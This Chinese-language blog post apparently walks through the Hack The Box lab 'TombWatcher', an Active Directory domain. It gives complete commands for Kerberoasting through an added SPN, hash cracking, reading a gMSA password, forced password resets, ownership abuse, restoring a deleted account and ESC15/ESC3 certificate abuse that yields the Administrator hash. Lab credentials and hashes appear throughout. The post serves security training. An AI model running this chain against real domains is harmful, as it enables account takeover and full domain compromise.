当前位置: 首页 > backend >正文

HTB 赛季8靶场 - TombWatcher

在这里插入图片描述

开局我们便拥有henry / H3nry_987TGV!

Nmap扫描

nmap -p- --min-rate 1000 -T4 10.129.244.230 -oA nmapfullscanNmap scan report for 10.129.244.230
Host is up (0.25s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49666/tcp open  unknown
49677/tcp open  unknown
49678/tcp open  unknown
49679/tcp open  unknown
49698/tcp open  unknown
49711/tcp open  unknown
49725/tcp open  unknown

nxc快速扫描smb

nxc smb 10.129.244.230 -u henry -p H3nry_987TGV!
nxc ldap 10.129.244.230 -u henry -p H3nry_987TGV!

![[Pasted image 20250610133637.png]]

Bloodhound信息搜集

bloodhound-python -d tombwatcher.htb -dc dc01.tombwatcher.htb -c All -u henry -p H3nry_987TGV! --dns-timeout 10

![[Pasted image 20250610134122.png]]

攻击路线分析

先全局查看,并没发现什么有趣的内容

MATCH p=shortestPath((t:Group)<-[:Owns|GenericAll|GenericWrite|WriteOwner|WriteDacl|MemberOf|ForceChangePassword|AllExtendedRights|AddMember|HasSession|GPLink|AllowedToDelegate|CoerceToTGT|AllowedToAct|AdminTo|CanPSRemote|CanRDP|ExecuteDCOM|HasSIDHistory|AddSelf|DCSync|ReadLAPSPassword|ReadGMSAPassword|DumpSMSAPassword|SQLAdmin|AddAllowedToAct|WriteSPN|AddKeyCredentialLink|SyncLAPSPassword|WriteAccountRestrictions|WriteGPLink|GoldenCert|ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC6a|ADCSESC6b|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b|ADCSESC13|SyncedToEntraUser|CoerceAndRelayNTLMToSMB|CoerceAndRelayNTLMToADCS|WriteOwnerLimitedRights|OwnsLimitedRights|CoerceAndRelayNTLMToLDAP|CoerceAndRelayNTLMToLDAPS|Contains|DCFor|TrustedBy*1..]-(s:Base))
WHERE t.objectid ENDS WITH '-512' AND s <> tAND t.name ENDS WITH "@TOMBWATCHER.HTB"AND s.name ENDS WITH "@TOMBWATCHER.HTB"
RETURN p
LIMIT 1000

我们跟踪目前获取的用户来看,我们可以发现,我们拥有一整条攻击链,并可获取John用户,然后将用户写入ADCS OU中,这样我们很可能可以获取一个ADCS的控制权限。然后使用证书攻击。

![[Pasted image 20250610134918.png]]

WriteSPN on User & ASREP攻击

我们可以借助这个攻击窃取TGS,然而这个TGS我们并不了解可以用于什么服务,所以,我们只能对其采取离线破解方案。


# Add a SPN to attribute to the targeted account 
bloodyAD -d "$DOMAIN" --host "$DC_HOST" -u "$USER" -p "$PASSWORD" set object "$TARGET" servicePrincipalName -v 'http/anything' nxc ldap "$DC_HOST" -d "$DOMAIN" -u "$USER" -H "$NThash" --kerberoasting kerberoastables.txtbloodyAD -d tombwatcher.htb -u henry -p H3nry_987TGV! --dc-ip 10.129.244.230 set object "alfred" servicePrincipalName -v 'http/anything' nxc ldap "dc01.tombwatcher.htb" -d "tombwatcher.htb" -u "henry" -p H3nry_987TGV! --kerberoasting kerberoastables.txt

![[Pasted image 20250610140001.png]]

hashcat离线破解

成功对密码进行了离线破解

mv kerberoastables.txt hash.kerberoastables                                        hashcat -a 0 -m 13100 hash.kerberoastables /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt 

![[Pasted image 20250610140410.png]]

获取账号

alfred:basketball

ReadGMSAPassword 窃取GMSAP密码

我们可以通过以下步骤完成hash窃取

#将用户加入拥有权限组
bloodyAD -d tombwatcher.htb -u alfred -p basketball --dc-ip 10.129.244.230 add groupMember INFRASTRUCTURE alfred#窃取密码
bloodyAD -d tombwatcher.htb -u alfred -p basketball --dc-ip 10.129.244.230 get object ansible_dev$ --attr msDS-ManagedPassword

![[Pasted image 20250610141109.png]]

ansible_dev$:aad3b435b51404eeaad3b435b51404ee:1c37d00093dc2a5f25176bf2d474afdc

ForceChangePassword on User 强制修改密码

bloodyAD -d tombwatcher.htb -u ansible_dev$ -p aad3b435b51404eeaad3b435b51404ee:1c37d00093dc2a5f25176bf2d474afdc --dc-ip 10.129.244.230 set password sam ydx@comehere

![[Pasted image 20250610141729.png]]

WriteOwner on User - 强制修改密码

bloodyAD -d tombwatcher.htb -u sam -p ydx@comehere --dc-ip 10.129.244.230 set owner john sambloodyAD -d tombwatcher.htb -u sam -p ydx@comehere --dc-ip 10.129.244.230 add genericAll john sambloodyAD -d tombwatcher.htb -u sam -p ydx@comehere --dc-ip 10.129.244.230 set password john ydx@comehere

![[Pasted image 20250610142737.png]]

试错 - ADCS攻击失败 & GenericAll on OU 无用户

我们查看了有关该权限的作用,貌似只能掌管OU下的用户,但是有趣的是没有用户。那么我们思考该用户的作用,John对ADCS下的用户拥有全权管理能力,这可能说明他是ADCS的管理员,我们使用certipy-ad进行探测。并且我们发现他是证书服务接入准许用户。

certipy-ad find -u john -p ydx@comehere -dc-ip 10.129.244.230 -vulnerable

![[Pasted image 20250610144414.png]]

结果显示貌似没有证书服务漏洞。我们在此执行一个全局扫描。

certipy-ad find -u john -p ydx@comehere -dc-ip 10.129.244.230

检查用户可写内容,我们仅发现了可以发现窃取OU当中的用户。

bloodyAD -d tombwatcher.htb -u john -p ydx@comehere --dc-ip 10.129.244.230 get writeable --detail

Powershell 恢复 AD recycle bin 用户

然而ADCS OU里面没有用户其实是非常奇怪的,因为如果没有为何要设置这个组?所以我打算查看AD 回收站里面的情况。其实当我们拥有可控一个立足点的情况下,我们非常建议查看一下AD回收站。

#查明删除账户
Get-ADObject -Filter 'isDeleted -eq $True' -IncludeDeletedObjects

![[Pasted image 20250610163041.png]]

我们看到cert_admin账户被多次删除,让我们尝试还原他。

#还原账户
Restore-ADObject -Identity f80369c8-96a2-4a7f-a56c-9c15edd7d1e3

实施查看用户详细信息(gui),当然我们也可以使用bloodyAD完成这个步骤,只是我嫌麻烦,哈哈哈。

./godap 10.129.244.230 -u henry -p H3nry_987TGV! -d tombwatcher.htb

![[Pasted image 20250610164525.png]]

ADCS 攻击 - ESC15 攻击

我们的john对ADCS有genericAll能力,而cert_admin又在ADCS中,所以我们可以直接修改该账户的密码。

bloodyAD -d tombwatcher.htb -u john -p ydx@comehere --dc-ip 10.129.244.230 set password cert_admin ydx@comehere

![[Pasted image 20250610164655.png]]

再次使用certipy扫描证书服务器漏洞,值得注意的是3个用户均是cert_admin但是他们是不一样的实体,所以我们需要多次尝试所有用户。经过尝试938182c3-bf0b-410a-9aaa-45c8e1a02ebf拥有问题

Remove-ADUser -Identity "cert_admin" -Confirm:$false
Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
certipy-ad find -u cert_admin -p ydx@comehere -dc-ip 10.129.244.230 -vulnerable

![[Pasted image 20250610170846.png]]

我们使用ESC15 攻击

# 请求一个证书
certipy-ad req  -u cert_admin -p ydx@comehere -dc-ip 10.129.244.230 --application-policies "1.3.6.1.4.1.311.20.2.1" -ca tombwatcher-CA-1 -template WebServer # ESC3攻击,伪装成其他用户 
certipy-ad req -u cert_admin -p ydx@comehere -dc-ip 10.129.244.230 -on-behalf-of TOMBWATCHER\\Administrator -template User -ca tombwatcher-CA-1 -pfx cert_admin.pfx# 使用伪造证书获取hash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.244.230

![[Pasted image 20250610171550.png]]

获取Root

'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc
http://www.xdnf.cn/news/13441.html

相关文章:

  • 制造业数智化转型:从行业痛点到R²AIN SUITE AI一体化解决方案
  • 算法题(166):占卜DIY
  • 打造多模态交互新范式|彩讯股份中标2025年中国移动和留言平台AI智能体研发项目
  • antd-vue - - - - - a-table排序
  • 【模板编程】
  • GPU架构对大模型推理部署到底有什么影响?
  • 跨平台架构区别
  • CentOS7下的大数据集群(Hadoop生态)安装部署
  • 基于binlog恢复误删除MySQL数据
  • 基础篇:4. 页面渲染流程与性能优化
  • 深入解析 sock_skb_cb_check_size 宏及其内核安全机制
  • 如何在看板中体现优先级变化
  • Day18
  • python 中线程、进程、协程
  • RED:用于低剂量 PET 正弦图重建的残差估计扩散模型|文献速递-深度学习医疗AI最新文献
  • 上门服务类App开发全流程:从需求分析到部署上线
  • 【16】牵绳遛狗数据集(有v5/v8模型)/YOLO牵绳遛狗检测
  • 前馈神经网络
  • Vim 撤销 / 重做 / 操作历史命令汇总
  • 【根据当天日期输出明天的日期(需对闰年做判定)。】2022-5-15
  • 【大模型】解耦大语言模型中的记忆与推理能力
  • 【大模型RAG】识别-检索-生成:拍照搜题给出答案原理讲解
  • IP地址可视化:从现网监控到合规检测、准入控制全面管理
  • 【单片机期末】接口及应用
  • 算法第12天|继续学习二叉树:翻转二叉树、对称二叉树、二叉树最大深度、二叉树的最小深度
  • 使用ZYNQ芯片和LVGL框架实现用户高刷新UI设计系列教程(第十六讲)
  • DnSpy调试基础
  • gRPC、WebSocket 与 HTTP 的核心区别对比
  • 将两个变量a,b的值进行交换,不使用任何中间变量
  • Cursor 工具项目构建指南:让 AI 审查 AI 生产的内容,确保生产的内容质量和提前发现问题